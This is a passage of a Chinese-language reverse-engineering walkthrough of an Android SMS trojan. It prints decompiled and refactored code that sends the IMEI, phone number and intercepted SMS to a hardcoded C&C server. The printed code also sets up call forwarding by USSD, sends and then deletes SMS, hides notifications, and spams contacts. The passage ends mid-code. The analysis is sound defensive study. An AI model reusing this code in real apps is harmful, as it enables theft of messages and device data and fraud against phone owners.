    public static String intent = decryptCharArray(decryptString("K<\u0003=iV"));
    public static String device = decryptCharArray(decryptString("F7\u00011dG"));
    public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + SMS_RECEIVED);
    public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("G\r"))).toString();
    public static String CALL = decryptCharArray(decryptString("a\u0013;\u0014"));
    public static String operator = new StringBuilder(decryptCharArray(decryptString("M\"\u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=\u0005"))).toString();
    public static String time_perehv = (time + decryptCharArray(decryptString("}\"\u0012*")) + emptyString + decryptCharArray(decryptString("G:\u0001")));
    public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}\u00133\u0015Nl"))).toString();
    public static String TextMessage = decryptCharArray(decryptString("v7\u000f,JG!\u00049`G"));
    public static int integerTrue = 1;
    public static String dot = ".";
    public static int integerFalse = 0;     //Decryption functions are omitted for brevity}

主要服务

onCreate函数中使用的下一个类称为Tb,这个类是作为服务启动的,如下所示。

Context applicationContext = getApplicationContext();applicationContext.startService(new Intent(applicationContext, Tb.class));

下面将解释服务中的所有三个函数所代表的功能,注意,与前面描述的类一样,使用与字符串相同的加密技术。从这个类开始,我将不会重复提及解密方法,因为每个类中的解密方法都是相同的。

onCreate

OnCreate是Android中的一个特别的函数,用来“表示一个窗口正在生成”。其不产生窗口,只是在窗口显示前设置窗口的属性如风格、位置颜色等。

onCreate函数包含一个名为q的布尔值和一个名为w的SharedPreferences对象,并使用类u启动一个新的线程。代码如下。

public void onCreate() {
    super.onCreate();
    q = true;
    this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
    new Thread(new u(this)).start();}

在onDestroy函数中也使用了布尔q,它被设置为false而不是true。因此,此布尔值用于确定服务是否正在运行。因此,它可以使用isActive名称重构它。

在res/public.xml和res/strings.xml中可以找到十进制等于2131099651的字符串。注意,代码中的十进制值是用XML文件中的十六进制表示法编写的。当转换为基数16(十六进制)时,该值等于0x7F060003。XML文件中的值如下所示:

[public.xml]<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" /> 
[strings.xml]<string name="PREFS_NAME">AppPrefs</string>

如果可以加载配置文件,则证明恶意程序之前就已经处于活动状态,并且可以加载最新的已知配置。

稍后,我将分析用于启动新线程的类。

onBind

此函数未在主要服务中实现,因为它只返回了一个异常。代码如下。

public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException(stringError);}

请注意,字符串stringError在解密时会包含字符串错误,因此才这样命名。

onDestroy

此时布尔isActive函数已经有了新名称,因为它在onCreate函数的分析过程中已被更改。它的目的是用于启动名为Tb的服务。这与目前正在分析的服务相同,如果服务关闭,它会自动重启。该函数的代码所示:

public void onDestroy() {
    super.onDestroy();
    isActive = false;
    Intent intent = new Intent(this, Tb.class);
    intent.setFlags(268435456); 
    startService(intent);}

请注意,268435456等于0x10000000,这是FLAG_ACTIVITY_NEW_TASK的常量值,可以在Android开发者网站上看到。根据这个值,服务将作为应用程序中的新任务启动。

主要服务

该服务可以重命名为MainService,因为它是恶意软件中的主要服务。

U:新线程

下面给出了在MainService类的onCreate函数中创建的新线程:

package org.starsizew; final class u implements Runnable {
    final Mainservice mainService; 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }     public final void run() {
        this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }}


乍一看,Android Studio生成了一个错误。这是由于一个反编译错误,其中MainService类中的两个字段设置为private,而它们应该是公共的或受保护的。在下面的代码中,给出了两个已公开的字段。

public Handler r = new Handler();public Runnable t = new w(this);

新的类u现在更具可读性,如下所示。

package org.starsizew; final class u implements Runnable {
    final Mainservice mainService; 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }     public final void run() {
        this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }}

名为r的处理程序可以重构为handler,由于尚未知道w类的内容,因此无法重命名runnable。要知道u类的内容,我们应该知道w类的内容。请注意,StringDatabase.integerFalse等于0时,处理程序启动runnable的延迟就是0毫秒。

w类

w类是可运行的,这意味着它是作为线程启动的。run方法在线程启动时启动,除了解密函数之外,该类中没有其他任何内容,类如下所示。

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
        edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
        edit.putString(StringDatabase.inst, "1");
        edit.putLong(StringDatabase.time_perehv, 100);
        edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    }
    this.mainService.handler.postDelayed(this, (long) Constants.int50005);
    if (z) {
        StringDatabase.integerZero++;
    }}

稍后将分析函数a所在的类q,函数的上下文现在已经提供了足够的上下文。

这个类可以作为一个例子,说明替换名为w的字符串数组中的字符串是多么重要。清理后的版本如下:

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains("one_inst")) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt("one_inst1");
        edit.putString("url", "http://37.1.207.31/api/?id=7");
        edit.putString("inst", "1");
        edit.putLong("time_perehv", 100);
        edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    }
    this.mainService.handler.postDelayed(this, 50005);
    if (z) {
        StringDatabase.integerZero++;
    }}

首先,检查共享首选项文件是否包含其中包含字符串one_inst的密钥。如果为false,则使用C&C url,安装boolean,time_perehv,设备ID和IMEI号来实例化首选项文件。

如果共享首选项文件包含值one_inst,或者在设置共享首选项文件之后,将使用完全相同的参数调用类i,但只有一个参数。第三个参数是install或info。在分析i类之前,将对a类进行分析。

a类

这个类包含两个函数,它们都被命名为q。注意,为了讲述方便,我省略了字符串数组及其解密方法。

第一个函数需要一个context对象作为参数:q(context context),这个函数的功能非常简单,如下所示。

static TelephonyManager q(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);}

除了请求系统服务手机,还可以查看类型转换,它等于TelephonyManager。快速重构使代码更具可读性,如下所示。

static TelephonyManager getTelephonyManager(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);}

第二个函数需要两个字符串作为参数:q(String str, String str2),此外,代码使用了反射调用方法。下面给出的代码中,字符串数组中的解密字符串已经被替换。

public static boolean q(String str, String str2) {
    try {
        Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objArr = new Object[5];
        objArr[0] = str;
        objArr[2] = str2;
        method.invoke(invoke, objArr);
    } catch (Exception e) {
    }
    return false;}

调用的函数名为sendTextMessage,来自android.telephony.SmsManager类。快速浏览SmsManager类的Android Developers页面可提供以下信息:

public void sendTextMessage (String destinationAddress, 
                String scAddress, 
                String text, 
                PendingIntent sentIntent, 
                PendingIntent deliveryIntent)

变量str和str2是调用方法的第一个和第三个参数。第一个参数是destinationAddress,第三个参数是SMS的文本。这个函数用给定的对象将文本消息发送到给定数值。重构方法如下所示:

public static boolean sendSms(String destinationAddress, String text) {
    try {
        Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objectArray = new Object[5];
        objectArray[0] = destinationAddress;
        objectArray[2] = text;
        methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
    } catch (Exception e) {
    }
    return false;}

这个类封装了TelephonyManager,这就是为什么它可以重命名为TelephonyManagerWrapper的原因。

i类

此类是AsyncTask,意味着它在应用程序的后台运行。 AsyncTask生命周期可以分为四个阶段:

1.onPreExecute:它准备稍后使用的类中的任何内容;

2.doInBackground:这是任务的主要部分;

3.onProgressUpdate:用于更新UI,这种方法经常被驻留在恶意软件中,因为任务需要避开检测;

4.onPostExecute:在doInBackground函数完成后执行;

doInBackground方法被正确反编译后,则onPostExecute方法无法使用JAD-X,JD-CMD,Fernflower,CFR或Procyon使用dex2jar制作的JAR进行反编译。使用enjarify生成JAR不会产生不同的结果,稍后我将详细介绍onPostExecute函数。

doInBackground

doInBackground函数如下所示,为了完全理解它的作用,需要首先分析t类。

protected final Object doInBackground(Object[] objArr) {
    Object obj = null;
    boolean z = true;
    boolean z2 = MainService.e;
    String str = ((String[]) objArr)[StringDatabase.integerFalse];
    t tVar = new t();
    this.e.add(new BasicNameValuePair("method", this.r));
    this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
    if (this.r.startsWith("install")) {
        String str2 = "POST";
        this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.e.add(new BasicNameValuePair("model", Build.MODEL));
        this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.e.add(new BasicNameValuePair("version", s.w));
        this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("info")) {
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("sms")) {
        obj = t.q(str, "POST", this.e);
    }
    if (StringDatabase.integerZero != 0) {
        if (z2) {
            z = false;
        }
        MainService.e = z;
    }
    return obj;}

在分析了t类之后,我将重构doInBackground函数,并对该类进行完整的分析。

t类

类t中的函数q如下所示,请注意,一些变量已经根据其类型进行了重命名。

public static JSONObject q(String url, String var1, List var2) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient defaultHttpClient;
        try {
            if (var1 == "POST") {
                defaultHttpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable var12) {
            var10001 = false;
            break label66;
        }         try {
            if (var1 == "GET") {
                defaultHttpClient = new DefaultHttpClient();
                String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
                StringBuilder var3 = new StringBuilder(String.valueOf(url));
                HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
                inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable var11) {
            var10001 = false;
        }
    } 
    label55:
    {
        BufferedReader var14;
        StringBuilder var20;
        try {
            InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
            var14 = new BufferedReader(var18, 8);
            var20 = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }         while (true) {
            try {
                var1 = var14.readLine();
            } catch (Throwable var8) {
                var10001 = false;
                break;
            }             if (var1 == null) {
                try {
                    inputStream.close();
                    w = var20.toString();
                    break;
                } catch (Throwable var7) {
                    Throwable var15 = var7;                     try {
                        throw var15;
                    } catch (Throwable var6) {
                        var10001 = false;
                        break;
                    }
                }
            }             try {
                var20.append(var1).append("\n");
            } catch (Throwable var9) {
                var10001 = false;
                break;
            }
        }
    }     try {
        JSONObject var16 = new JSONObject(w);
        jsonObject = var16;
    } catch (Throwable var5) {
    }     return jsonObject;}

这个函数有三个参数,第一个是URL,可以在HttpPost构造函数中看到(它需要一个URL)。然后使用编码参数附加URL,以避免接收端出错。提供的方法是可以从if语句派生的第二个参数,然后比较给定的字符串是否等于GET或POST。第三个参数被编码并附加到URL中。服务器的响应以JSONObject返回,重构方法如下所示。

public static JSONObject callC2(String url, String httpMethod, List parameters) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient httpClient;
        try {
            if (httpMethod == "POST") {
                httpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = httpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable throwable) {
            var10001 = false;
            break label66;
        }         try {
            if (httpMethod == "GET") {
                httpClient = new DefaultHttpClient();
                String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
                StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
                HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
                inputStream = httpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable throwable) {
            var10001 = false;
        }
    } 
    label55:
    {
        BufferedReader bufferedReader;
        StringBuilder stringBuilder;
        try {
            InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
            bufferedReader = new BufferedReader(inputStreamReader, 8);
            stringBuilder = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }         while (true) {
            try {
                httpMethod = bufferedReader.readLine();
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }             if (httpMethod == null) {
                try {
                    inputStream.close();
                    serverResponseRaw = stringBuilder.toString();
                    break;
                } catch (Throwable throwable) {
                    Throwable throwable2 = throwable;                     try {
                        throw throwable2;
                    } catch (Throwable throwable1) {
                        var10001 = false;
                        break;
                    }
                }
            }             try {
                stringBuilder.append(httpMethod).append("\n");
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
        }
    }     try {
        JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
        ServerCommunicator.serverResponseJson = serverResonseJson;
    } catch (Throwable throwable) {
    }     return serverResponseJson;}

基于callC2函数,该类可以重命名为ServerCommunicator。

i类的第二部分

基于ServerCommunicator类的新信息, i类中的doInBackground函数更容易理解和重构。首先,它收集了方法和ID。

如果给定的方法等于install,它还会收集网络运营商、bild模型、版本发布、手机号码、IMEI、bot版本和国家或地区,所有这些数据都被发送到C&C服务器。

如果命令等于info,则只将恶意函数的方法和ID发送到C&C服务工具。最后,有一个名为sms的选项,此方法的行为与info方法相同。

protected final Object doInBackground(Object[] urlArray) {
    Object var2 = null;
    boolean var3 = false;
    boolean var4 = MainService.e;
    String url = ((String[]) urlArray)[0];
    ServerCommunicator serverCommunicator = new ServerCommunicator();
    this.parameters.add(new BasicNameValuePair("method", this.command));
    this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
    JSONObject serverResponse;
    if (this.command.startsWith("install")) {
        String POST = "POST";
        this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
        this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.parameters.add(new BasicNameValuePair("version", Constants.version));
        this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
    } else if (this.command.startsWith("info")) {
        serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
    } else {
        serverResponse = (JSONObject) var2;
        if (this.command.startsWith("sms")) {
            serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
        }
    }     if (StringDatabase.integerZero != 0) {
        if (!var4) {
            var3 = true;
        } 
        MainService.e = var3;
    }     return serverResponse;}

请注意,Constants类仅包含两个字段和零细分法。这些变量的名称可以直接从它们的值中被删除。

public final class Constants {
    public static int int50005 = 50005;
    public static String version = "5";}

onPostExecute

我通过其他渠道获得了用JEB反编译的Java代码,不过代码仍然很混乱,大约250行。此外,还有许多没有任何原因的尝试捕捉结构和跳转。

而功能相同的SMALI代码大约有550行,这使得它无法被用于无法分析。基于SMALI代码,可以看到函数的大致功能是比较字符串,如果比较正确,则执行代码。这可能表示对Java代码确认的命令的处理,下面是未修改的反编译Java代码的摘录。

//[omitted]try {
    if(v15.equals(String.valueOf(o.h) + o.E)) {
        this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
    }
    if(v15.equals(String.valueOf(o.h) + i.t[18])) {
        i.q(v8.optString(i.t[33]), v8.optString(o.c));
    }
    if(v15.equals(i.t[21] + o.f + i.t[16])) {
        v16 = v8.optString(i.t[33]);
        v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
        if(v17 != null) {
                goto label_125;
        }
            goto label_132;
    }
        goto label_160;}
    catch(Throwable v2) {
    return;}
    try {
    label_125:
    if(v17.getCount() > o.z) {
            goto label_128;
    }
        goto label_132;}
    catch(Throwable v2) {
        goto label_273;}//[omitted]

为了对恶意软件的关键功能进行讲解,我将大约250行代码重写为下面的代码。重写的代码包含恶意功能中存在的所有功能。

请注意,大多数字符串所在的字符串数组包含33个字符串。它还使用StringDatabase类中的字符串,这使得变得非常混乱。

代码中的类以前没有分析过,这些类将在需要时进行分析。

protected final void onPostExecute(JSONArray commandJson) {
    String command = commandJsonArray[0];
    switch (command) {
        case "install_true":
            sharedPreferenceEditor.putString("inst", "2").commit();
            break;
        case "call_number":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
            new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
            break;
        case "sms_grab":
            Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
            sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
            break;
        case "sms_send":
            sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
            break;
        case "delivery":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
            String smsMessage = commandJson.optString("text");
            String recipientPhoneNumber;
            Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
            Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
            if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
                for (int i = 1; i < 30; i++) {
                    if (allContacts.moveToNext()) {
                        if (contactIds.moveToFirst()) {
                            recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                            if (recipientPhoneNumber != null) {
                                sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                            }
                        }
                    }
                }
            }
            break;
        case "new_url":
            String url = commandJson.optString("text");
            if (url.length() > 10) {
                sharedPreferenceEditor.putString("url", url).commit();
                sharedPreferenceEditor.putString("inst", "1").commit();
            }
            break;
        case "ussd":
            TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
            break;
    }}

在交换机中,处理多个命令。下面列出了不同的命令,然后,按照列出的顺序逐一分析每个命令。

install_true

call_number

sms_grab

sms_send

delivery

new_url

ussd

install_true

接收到此命令后,共享首选项文件中的字符串inst设置为2,这标志着安装已经完成。

case "install_true":
    sharedPreferenceEditor.putString("inst", "2").commit();
    break;

CALL_NUMBER

设置应转发调用的手机号码,使用*21*作为前缀,使用#作为后缀,可确保将传入调用的号码是前缀和后缀之间的数字。

case "call_number":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
    new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
    break;

StopCallForwardingRunnable类调用#21#,取消调用转发。因为runnable的调用被延迟,命令中的time变量指定了应该在什么时候取消转发。时间变量等于以秒为单位的等待时间,而原始函数的计算单位是毫秒,所以这个值要再乘以1000。代码如下所示:

public final void run() {
    new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");}

在分析完所有命令之后,该分析TelephonyManagerWrapper2类了。

sms_grab

time_perehv的值设置为未来给定的时间(以秒为单位),命令处理的代码如下。

case "sms_grab":
    Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
    sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
    break;

使用Android Studio中的Find usage函数,你可以看到String类中的字符串time_perehv(在上面的代码中被替换以提高可读性)也在Ma类中使用。这两个有趣的函数是getAllSmsMessageBodies和onReceive函数,因为类是BroadcastReceiver。

getAllSmsMessageBodies函数需要一个参数:一组短信。每条短信的正文都放在一个字符串中,而结果则以单个字符串形式返回。

private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
    StringBuilder stringBuilder = new StringBuilder();
    for (SmsMessage messageBody : smsMessageArray) {
        stringBuilder.append(messageBody.getMessageBody());
    }
    return stringBuilder.toString();}

使用BroadcastReceiver类扩展的类是实现onReceive函数所必需的,在处理BroadcastReceiver正在侦听的意图时,onReceive函数会处理赋予它的意图。onReceive函数的代码如下所示:

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];         long j = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(j).longValue()) {
            this.w = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.w = true;
        }
        if (this.w && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    q();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();}

在此代码中,函数q和y类是未知的。该函数的核心功能以上已经讲过,long j等于time_perehv的值。该值是通过C&C服务工具的命令设置的。如果j晚于当前系统时间,则布尔值w设置为true。请注意,默认情况下,w设置为false。如果接收方的数值等于900,则布尔值也设置为true。

如果w被设置为true,则代码的执行则依靠通过将意图行为与接收到短信时给出的行为进行比较来继续。如果设置为true,那么y类将延迟2秒开始。

然后,使用sms命令将所有短信的内容传送到C&C服务器。最后,执行函数q。

y的代码如下所示:

public final void run() {
    ((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
    TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);}

通过使用NotificationManager,可以取消所有通知。然后,删除所有发送到numberTo值的消息。根据这些信息,可以将y类重命名为CancelAllNotificationsRunnable。

函数q(在Ma类中)如下所示:

private boolean q() {
    try {
        Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
    } catch (Throwable th) {
    }
    return true;}

使用反射方式,调用abortBroadcast方法,从而从系统中删除广播。因此,此函数可以重命名为abortBroadcastWrapper。

通过以上分析,可以对Ma类的onReceive函数进行完全重构,如下图所示。

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];         long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) {
            this.shouldBlock = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.shouldBlock = true;
        }
        if (this.shouldBlock && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    abortBroadcastWrapper();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();}

C&C服务器给出并保存在共享首选项time_perehv中的时间会决定所有传入消息何时应该被阻塞和删除。因此, Ma类可以重命名为SmsBlocker。

SMS_SEND

在JSON命令中向给定的手机号码发送给定的文本消息,之后,如果用户检查发送的短信,则恶意软件会删除短信以避免任何怀疑。

case "sms_send":
    sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
    break;

在上面重写的代码中,使用了sendAndRemoveMessage函数。该方法使用给定的正文向给定的号码发送短信,两秒钟后,使用可运行的RemoveAllSentMessagesRunnable删除设备上可用的所有文本消息。

private static void sendAndRemoveMessage(String message, String numberTo) {
    if (numberTo != null && message != null) {
        TelephonyManagerWrapper.sendSms(numberTo, message);
        (new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
    }}

RemoveAllSentMessagesRunnable类封装了TelephonyManagerWrapper2,稍后我将对其进行分析。

final class RemoveAllSentMessagesRunnable implements Runnable {
    private final String message;
    private final String numberTo; 
    RemoveAllSentMessagesRunnable(String message, String numberTo) {
        this.message = message;
        this.numberTo = numberTo;
    }     public final void run() {
        TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
    }}

USSD

使用callPhoneNumber函数(驻留在TelephonyManagerWrapper2类中)调用命令中提供的手机号码,输入的手机号码可以是ussd命令。

case "ussd":
    TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
    break;

交付命令

下面给出了交付命令的代码,这些代码已经被重构,以尽可能多地包含详细信息。

case "delivery":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
    String smsMessage = commandJson.optString("text");
    String recipientPhoneNumber;
    Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
    Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
    if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
        for (int i = 1; i < 30; i++) {
            if (allContacts.moveToNext()) {
                if (contactIds.moveToFirst()) {
